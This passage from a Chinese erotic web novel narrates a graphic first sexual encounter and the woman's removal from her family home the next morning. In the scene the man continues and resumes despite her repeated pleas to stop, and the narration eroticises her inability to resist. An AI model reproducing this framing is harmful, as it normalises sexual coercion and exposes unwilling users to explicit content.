什麽什麽?可是……可是好怪,真的好难受……似乎“难受”还含括不了这种复杂的感觉,疼痛之外渐渐升起一种细碎的异样,一种空空的想要抓住什麽的难耐。

乌岳的大手,耐心的逗弄著。这是他第一次用了心,取悦一个女人。不对,她还不是女人。不知道为什麽,他压抑著自己的欲望,他不想对她粗鲁,他不想今夜,她的初次,只有痛苦。她的私密处紧紧包裹著粗粝的指,进出间带著水液,他不动声色的再加一指,麽指寻到前方那颗小豆子,按压搓动。

第009章 破身之夜(三) H

身下的人儿蓦地一僵,嘴里低叫了声。她噙著泪,半睁著眼,通红的脸上,又是羞又是怕,她挣扎在愉悦和抗拒之间,双臂软软的放在脸侧,眼珠一转,脸颊上又添一道新的泪痕,可怜兮兮的,似是在哀求。

乌岳的呼吸不自觉的粗重起来,身下的欲望涨得厉害,手下进出的速度加快,带著些微抖。只听她尖细的叫:“呀……别……别……”

下巴处的一滴汗“啪”的掉落,口干舌燥,一口咬上她精致的锁骨。她抖了抖,却忍不住随著身下重复的节奏,轻轻扭动,清澈的眼里雾蒙蒙了一片。

纤腰的挺动在逐渐加快,感觉手下的穴肉开始有节奏的收缩,乌岳轻轻抽出湿透了的手指,放到唇边舔了一下,淡淡的香,是她的味道。手指的离开,让她一时失了神,看到他舔著手指灼热的看著自己,便不由自主的跟著他的动作伸出了小舌。

乌岳的眼,深的宛如暗夜,鬼使神差般缓缓将手指探进她嘴里翻搅,小舌柔软的抵著他,让他忍不住叹息一声。捧起她小巧的臀按向自己的粗硬,粗硬的圆头若有似无的摩擦著充血的花瓣。

墨九受到这刺激,颤动的厉害,嘴里胡乱的呻吟著。这时候听到男人紧绷的声音:“接下来会有些疼,你忍一忍。”疼?没有给她时间思考,圆头研磨了几下洞口,沾足了水液,猛的长驱直入。

墨九闷哼一声,眼前金星乱闪,乌岳看到她痛苦的表情,动作僵住,粗硬就这样一动不动的埋在她身体的最深处。墨九张了张嘴,乌岳以为她要哭叫,脸上有些慌乱,他已尽力把疼痛降到最低,她还是受不住麽?

墨九扁著嘴,下一秒却紧紧咬住了唇。泪水无间断的从眼眶里涌出,迅速染湿了她的发。她就这样无声的咬著唇哭泣,像似在发泄什麽,颤动的浓睫湿透了,黏成细细的一簇簇,像是虫子的触角。这一根根“触角”挠啊挠啊,却拨动到了乌岳的心底。

安慰的话他从未说过,他也不知道要如何开口,伸手擦去了她脸上的泪,在她的耳下印下轻柔一吻,下身缓慢的开始动作。

小小的脸顿时皱了起来,墨九茫茫然的抬起泪眼,乌岳仔细的看,她似乎……是在瞪他?终於忍不住低低笑开,墨九眼里还含著泪,眼珠子却越瞪越圆。

原来他也是会笑的?原来他笑起来……这麽好看。

无暇再哭泣,无暇再多想什麽,身下强劲的律动,掀起了狂潮,开启了情欲之门。疼痛渐渐的隐去,他一下下的深入著她,摩擦著她,给予她陌生的快感。她只能攀附著他的肩膀呻吟:“你……啊……你别再顶我了……你……呜啊……你停下……”他吐出一声声急促低沈的喘息,没有说话。

一进一出,他的动作越来越激烈,戳刺的极深,速度愈发的快,墨九无助的迎合著那勇猛的撞击,不断的失声尖叫。欢愉在体内累积到最高点,再也承载不了,墨九剧烈颤抖著:“别……啊……我……我……”

蜜穴一阵强有力的收缩,誓要侵入者交出所有的精华,乌岳情朝翻涌,闷哼一声,拔出深陷的粗硬,射在了墨九的腿根。

这是墨九第一次的高潮,她瘫软著急喘,闭上眼似乎还能看见白光在闪。感觉大腿上有温热的触感,疲惫的睁开眼,男子握著她的膝盖,盯著她的腿间,不知在看什麽。猛的惊觉,差点忘了床上还有一个人,急急的缩回腿,牵扯到了腿间的私密,又酸又疼。

“你……你干什麽?”

这一声,带著慵懒的沙哑。

初尝欢爱的身子,青涩还未褪去就已染上了娇媚。乌岳看著那雪白腿根处点点鲜红的血迹,目光忍不住一寸寸向上。腰肢不堪一握,白腻的胸前盛开著朵朵红印,小小的两团乳肉上两颗红肿昂然挺立,锁骨,脖颈上是他留下的吻痕,她侧著身羞怯不安的偷瞄著他,长长的黑发包裹著她,红通通的脸上,迷蒙的眼里,有著他带给她的情欲痕迹。

乌岳也不知道自己倒底在干什麽。他的任务已经完成,他该是离去了。

只是回神过来的时候,他已经再一次的将她压在身下,下身的粗硬高高翘著,贪恋著,想要重温她的滋味。

墨九看著眼前一双幽深,灼热的眼,惊慌失措的伸手去推:“你……别……别再……”

乌岳轻松将她桎梏在怀里,他不解的问著自己,他这样算什麽?他该走了。况且她初次承欢,她受不住的。只是身体已经兀自动了起来,不消几个动作,粗硬就著还未干涸的水液重新埋了进去。

乌岳紧紧的抱著这具汗湿的身体,额头抵在她脖颈里,叹息般的低语:“乌岳……我叫乌岳。”

此时的墨九已经什麽都听不见了,她再一次被卷入欲望的漩涡,抵抗不得,目眩神迷。

好了,初夜终於完了。接下来呢,这个好日子也是快到头了~

第010章 送离

这一夜,乌岳一遍一遍,不断的要著她,直到天色开始发白才起身离去。

这一夜,墨九累坏了。哭也没用,力气又敌不过他,只能躺著任他去了。

在半梦半醒之间,恍惚看到一双英挺的眉,下面一对漂亮的黑色眼睛,闪烁著她看不懂的光,一个低沈的男声,依稀的在她耳边叫著──小九。

不知道为什麽,胸口某一块地方好像有些异样,一点热一点痒一点点难受。只是容不得她去细辨,已是支持不住昏沈过去。

早上的太阳拉开了新的一天,墨九被婢女们叫醒,挣扎著掀开粘住的眼皮。床上只剩下了她自己,全身上下是半点力气也没有。婢女面无表情的掀开床被,见著墨九光溜溜的一身狼藉也没多大反应。看清了她身下的落红,才不慌不忙的绞了帕子伺候她起身。

墨九的神志还在混沌著,乖乖的任她们摆弄。穿上婢女拿来的新衣裳,被搀扶著出了房门。一路是言府大门的方向,门口停了座轿子,旁边以言老爷为首站了熙熙攘攘的一干人。这里面有下人,有女人,一张张的面孔,对墨九而言,是全然的陌生。

墨九终於有些醒了,他们也在打量著她,对於她,他们似乎也是陌生,目光里又有好奇又有些复杂。

言老爷对著墨九,只说了一句话:“你要记住,无论如何,你总是我的女儿,你姓言。”

墨九还来不及说些什麽,就被人扶上了轿,帘子落下,轿身起,摇晃几下,便不带停顿的前行。

墨九怔怔的坐在轿内,她就这样被送离了言府,离开她从小长大的院落,没有半句解释,那麽的迫不及待,如同扔掉破了的器具一样的简单。眼眶里涨涨的,却是干涩至极,张妈和丹儿,她们知不知道?知道不知道她昨晚经历的,知不知道她们的墨九,此时此刻已经离去。泪,还是掉了下来,最终……张妈是没能等到自己。

轿子晃悠著行了许久,在一扇窄小的门前停下。轿夫掀开帘子,示意墨九下来。门口站了一位老伯,佝偻著背,见到墨九便行动缓慢的转身进了门。墨九擦去脸上泪痕,迟疑了一会儿,还是低头跟在了他的身後。

墨九身子不适,走的极慢,那老伯也不催促,颤颤巍巍的在前面带著路。走啊走啊,墨九边四下乱瞄著,心里是暗暗的惊奇。进来的门是小小一扇,没想到这门里面的地方大的离谱。满眼的树啊,山啊,水啊,亭子啊,到现在还没见到一角屋檐。这一老一少在阳光下辛苦的挪动了很久很久,眼前终於出现一扇半圆的拱门。过了这门,在走过一片片眼花缭乱的花花草草,终於瞧见了几间连著的房屋。老伯蹒跚著上了台阶,推开其中一间房门,侧身对墨九点了点头。

墨九迈过门槛,这是不大不小的一间房,布局简单,床榻,桌椅,衣柜,一应俱全。里面还有个隔间,放著张小木桌,桌上有笔墨书册,桌後有张矮榻,旁边还放了一把筝。房里有股不通风的闷味儿,布置不算新,但比起她的院落可是好太多了。

墨九的心里憋了许许多多的问题,想著那就问问看这位带她一路进来的老伯,可是看到他花白头发,佝偻著背,一脸的褶子,嘴里还在喘气,於是话到嘴边下意识的变了样:“老伯伯,走了那麽久你是不是很累?要不要先进来坐下歇一歇?”

老伯喘气的节奏顿了一顿,抬起下垂的眼皮看了眼墨九,接著便转身又蹒跚著下了台阶。眼看著老伯就要离去,墨九有些无措,又有些沮丧。老伯努力的跨下最後一个台阶,喘了口气,头也不抬的说了句:“我是这里的管事,你可以叫我乌伯。你就住在这儿,一会儿会有丫鬟过来,有什麽吩咐她便是了。”说完,兀自慢慢吞吞的走了。

墨九呆呆的对著乌伯的背影点了点头,也没发觉他背著身是看不到的。全身疲惫的很,一路走了那麽久,耗尽了她所有的精力,环顾四周,想坐一坐吧,却总觉得有些不妥。

於是墨九就这麽僵硬的站在了房中央,看著眼前房门外,日光大好,一片鸟语花红。



若本站收录的文章侵犯了您的权益,请联系我们删除侵权内容!

警告:本站立足于美利坚合众国並遵守美利坚法律服务于海外华人,谢绝中国大陆地区访问!
如您未满十八岁或当地法律不允许之年龄、亦或者您对本站内容反感,请自觉离开本站!
寻艳回首 :https://xunyanhs.github.io
聯絡: [email protected]